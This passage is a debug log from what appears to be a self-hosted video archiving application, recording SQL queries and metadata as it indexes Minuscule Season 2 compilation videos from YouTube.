(?)) [5] 22:08:54.636 [debug] QUERY OK source="sources" db=0.5ms idle=464.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:54.638 [debug] QUERY OK source="media_items" db=0.9ms idle=465.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-07 06:00:44Z], 5] 22:08:54.645 [debug] QUERY OK source="media_items" db=6.0ms idle=467.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Ladybugland | S02E62\n00:10:50 | Trapped | S02E64\n00:14:33 | Fly Hunting | S02E24\n00:18:06 | The Chocolate Chase! | S02E19\n00:21:52 | Patatas Fritas | S02E21\n00:25:38 | Spider Driver | S02E36\n00:29:19 | The Grocery Store Incident | S02E39\n00:32:50 | Turbo speed | S02E58\n00:36:14 | Sausage Predator | S02E06\n00:40:00 | Chewing gum rodeo | S02E14\n00:43:45 | Acrobatics | S02E16\n00:47:31 | Zzz In The Metro | S02E53\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Tabasco #wasp #patrol #ladybug #BBQ #garden #insects #wasps #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ 🎃 Minuscule 🍃 65' Compilation", "7efef05f-3485-43b5-9efe-fe7380f49ec1", "mRDF4eQMrp0", 3105, false, 5, "https://www.youtube.com/watch?v=mRDF4eQMrp0", 23, "/downloads/Miniscule Season 2/2025-10-07 Mission : BBQ 🎃 Minuscule 🍃 65' Compilation/Mission : BBQ 🎃 Minuscule 🍃 65' Compilation [mRDF4eQMrp0].mp4", false, false, false, [], 1, ~U[2025-10-07 06:00:44Z], ~U[2025-12-12 05:08:54Z], ~U[2025-12-12 05:08:54Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mission : BBQ | S02E09\n00:03:45 | Top Tabasco | S02E70\n00:07:23 | Ladybugland | S02E62\n00:10:50 | Trapped | S02E64\n00:14:33 | Fly Hunting | S02E24\n00:18:06 | The Chocolate Chase! | S02E19\n00:21:52 | Patatas Fritas | S02E21\n00:25:38 | Spider Driver | S02E36\n00:29:19 | The Grocery Store Incident | S02E39\n00:32:50 | Turbo speed | S02E58\n00:36:14 | Sausage Predator | S02E06\n00:40:00 | Chewing gum rodeo | S02E14\n00:43:45 | Acrobatics | S02E16\n00:47:31 | Zzz In The Metro | S02E53\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Tabasco #wasp #patrol #ladybug #BBQ #garden #insects #wasps #Minuscule #nature #ladybugs #animatedseries", "Mission : BBQ 🎃 Minuscule 🍃 65' Compilation", "mRDF4eQMrp0", 3105, false, 5, "https://www.youtube.com/watch?v=mRDF4eQMrp0", "/downloads/Miniscule Season 2/2025-10-07 Mission : BBQ 🎃 Minuscule 🍃 65' Compilation/Mission : BBQ 🎃 Minuscule 🍃 65' Compilation [mRDF4eQMrp0].mp4", false, ~U[2025-10-07 06:00:44Z]] 22:08:54.645 [debug] QUERY OK source="sources" db=0.3ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:54.646 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:54.646 [debug] QUERY OK source="media_items" db=0.4ms idle=9.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98653] 22:08:54.647 [debug] Current batch of media processed. Will check again in 1000ms 22:08:55.648 [debug] Current batch of media processed. Will check again in 1000ms 22:08:56.649 [debug] Current batch of media processed. Will check again in 1000ms 22:08:57.650 [debug] Current batch of media processed. Will check again in 1000ms 22:08:58.651 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Mosquito Of The Caribbean | S02E57\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | Zzz In The Metro | S02E53\n00:14:16 | Trapped | S02E64\n00:17:58 | Summer Hat | S02E48\n00:21:40 | The Hat Of The Medusa | S02E17\n00:25:25 | The Monster Of The Haunted Swamp | S02E37\n00:28:56 | Mission : BBQ | S02E09\n00:32:41 | Labyrinth | S02E69\n00:36:27 | Refrigerated | S02E65\n00:40:01 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #Caribbean #suitcase #rollercoaster #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2666, "filename" => "/downloads/Miniscule Season 2/2025-09-25 The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation/The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation [0uh8G_bFGd4].mp4", "id" => "0uh8G_bFGd4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0uh8G_bFGd4", "playlist_index" => 24, "timestamp" => 1758794402, "title" => "The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation", "upload_date" => "20250925"} 22:08:58.652 [debug] QUERY OK source="sources" db=0.5ms idle=480.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:58.653 [debug] QUERY OK source="sources" db=0.3ms idle=481.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:58.654 [debug] QUERY OK source="media_items" db=1.0ms idle=482.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-25 10:00:02Z], 5] 22:08:58.670 [debug] QUERY OK source="media_items" db=14.6ms idle=484.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Mosquito Of The Caribbean | S02E57\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | Zzz In The Metro | S02E53\n00:14:16 | Trapped | S02E64\n00:17:58 | Summer Hat | S02E48\n00:21:40 | The Hat Of The Medusa | S02E17\n00:25:25 | The Monster Of The Haunted Swamp | S02E37\n00:28:56 | Mission : BBQ | S02E09\n00:32:41 | Labyrinth | S02E69\n00:36:27 | Refrigerated | S02E65\n00:40:01 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #Caribbean #suitcase #rollercoaster #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation", "ef0baa57-d4c5-45fe-b042-1e47b4a45776", "0uh8G_bFGd4", 2666, false, 5, "https://www.youtube.com/watch?v=0uh8G_bFGd4", 24, "/downloads/Miniscule Season 2/2025-09-25 The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation/The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation [0uh8G_bFGd4].mp4", false, false, false, [], 1, ~U[2025-09-25 10:00:02Z], ~U[2025-12-12 05:08:58Z], ~U[2025-12-12 05:08:58Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Mosquito Of The Caribbean | S02E57\n00:03:45 | Zzz zzz | S02E44\n00:07:16 | Sunburn | S02E40\n00:10:40 | Zzz In The Metro | S02E53\n00:14:16 | Trapped | S02E64\n00:17:58 | Summer Hat | S02E48\n00:21:40 | The Hat Of The Medusa | S02E17\n00:25:25 | The Monster Of The Haunted Swamp | S02E37\n00:28:56 | Mission : BBQ | S02E09\n00:32:41 | Labyrinth | S02E69\n00:36:27 | Refrigerated | S02E65\n00:40:01 | Microzilla | S02E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #Caribbean #suitcase #rollercoaster #bedroom #sleeping #challenge #Minuscule #nature #insects #ladybugs #animatedseries", "The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation", "0uh8G_bFGd4", 2666, false, 5, "https://www.youtube.com/watch?v=0uh8G_bFGd4", "/downloads/Miniscule Season 2/2025-09-25 The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation/The Mosquito Of The Caribbean | Minuscule 🍃 60' Compilation [0uh8G_bFGd4].mp4", false, ~U[2025-09-25 10:00:02Z]] 22:08:58.671 [debug] QUERY OK source="sources" db=0.3ms idle=25.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:58.671 [debug] QUERY OK source="media_profiles" db=0.3ms idle=18.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:58.672 [debug] QUERY OK source="media_items" db=0.4ms idle=18.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97891] 22:08:58.672 [debug] Current batch of media processed. Will check again in 1000ms 22:08:59.673 [debug] Current batch of media processed. Will check again in 1000ms 22:09:00.536 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:00.674 [debug] Current batch of media processed. Will check again in 1000ms 22:09:01.675 [debug] Current batch of media processed. Will check again in 1000ms 22:09:02.676 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Go Blue Go! | S02E54\n00:03:41 | Bzzaping | S02E03\n00:07:28 | It's a tie! | S02E67\n00:11:09 | Turbo speed | S02E58\n00:14:33 | An Acorn Season | S02E05\n00:18:19 | Spider Driver | S02E36\n00:22:00 | Acrobatics | S02E16\n00:25:46 | At Full Speed | S02E27\n00:29:29 | Away all boarders! | S02E41\n00:33:12 | Snow Fly | S02E51\n00:36:36 | Spider from the Depths | S02E31\n00:40:11 | Fly Hunting | S02E24\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dragonflies #fight #pond #insects #Bzzaping #fly #spider #television #Minuscule #nature #ladybugs #animatedseries", "duration" => 2663, "filename" => "/downloads/Miniscule Season 2/2025-09-23 Go Blue Go! | Minuscule 🍃 55' Compilation/Go Blue Go! | Minuscule 🍃 55' Compilation [CejWzxTmiZI].mp4", "id" => "CejWzxTmiZI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CejWzxTmiZI", "playlist_index" => 25, "timestamp" => 1758607210, "title" => "Go Blue Go! | Minuscule 🍃 55' Compilation", "upload_date" => "20250923"} 22:09:02.677 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=505.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:02.678 [debug] QUERY OK source="sources" db=0.4ms idle=506.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:02.679 [debug] QUERY OK source="media_items" db=1.0ms idle=507.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-23 06:00:10Z], 5] 22:09:02.686 [debug] QUERY OK source="media_items" db=5.8ms idle=508.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Go Blue Go! | S02E54\n00:03:41 | Bzzaping | S02E03\n00:07:28 | It's a tie! | S02E67\n00:11:09 | Turbo speed | S02E58\n00:14:33 | An Acorn Season | S02E05\n00:18:19 | Spider Driver | S02E36\n00:22:00 | Acrobatics | S02E16\n00:25:46 | At Full Speed | S02E27\n00:29:29 | Away all boarders! | S02E41\n00:33:12 | Snow Fly | S02E51\n00:36:36 | Spider from the Depths | S02E31\n00:40:11 | Fly Hunting | S02E24\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dragonflies #fight #pond #insects #Bzzaping #fly #spider #television #Minuscule #nature #ladybugs #animatedseries", "Go Blue Go! | Minuscule 🍃 55' Compilation", "7307ac80-6902-4623-9a5b-6e2d1d97ae99", "CejWzxTmiZI", 2663, false, 5, "https://www.youtube.com/watch?v=CejWzxTmiZI", 25, "/downloads/Miniscule Season 2/2025-09-23 Go Blue Go! | Minuscule 🍃 55' Compilation/Go Blue Go! | Minuscule 🍃 55' Compilation [CejWzxTmiZI].mp4", false, false, false, [], 1, ~U[2025-09-23 06:00:10Z], ~U[2025-12-12 05:09:02Z], ~U[2025-12-12 05:09:02Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Go Blue Go! | S02E54\n00:03:41 | Bzzaping | S02E03\n00:07:28 | It's a tie! | S02E67\n00:11:09 | Turbo speed | S02E58\n00:14:33 | An Acorn Season | S02E05\n00:18:19 | Spider Driver | S02E36\n00:22:00 | Acrobatics | S02E16\n00:25:46 | At Full Speed | S02E27\n00:29:29 | Away all boarders! | S02E41\n00:33:12 | Snow Fly | S02E51\n00:36:36 | Spider from the Depths | S02E31\n00:40:11 | Fly Hunting | S02E24\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dragonflies #fight #pond #insects #Bzzaping #fly #spider #television #Minuscule #nature #ladybugs #animatedseries", "Go Blue Go! | Minuscule 🍃 55' Compilation", "CejWzxTmiZI", 2663, false, 5, "https://www.youtube.com/watch?v=CejWzxTmiZI", "/downloads/Miniscule Season 2/2025-09-23 Go Blue Go! | Minuscule 🍃 55' Compilation/Go Blue Go! | Minuscule 🍃 55' Compilation [CejWzxTmiZI].mp4", false, ~U[2025-09-23 06:00:10Z]] 22:09:02.686 [debug] QUERY OK source="sources" db=0.2ms idle=33.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:02.687 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:02.688 [debug] QUERY OK source="media_items" db=0.3ms idle=9.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97892] 22:09:02.688 [debug] Current batch of media processed. Will check again in 1000ms 22:09:03.689 [debug] Current batch of media processed. Will check again in 1000ms 22:09:04.690 [debug] Current batch of media processed. Will check again in 1000ms 22:09:05.691 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Valentine's Day | S02E15\n00:11:16 | The Hat Of The Medusa | S02E17\n00:15:02 | Thirsty | S02E29\n00:18:34 | 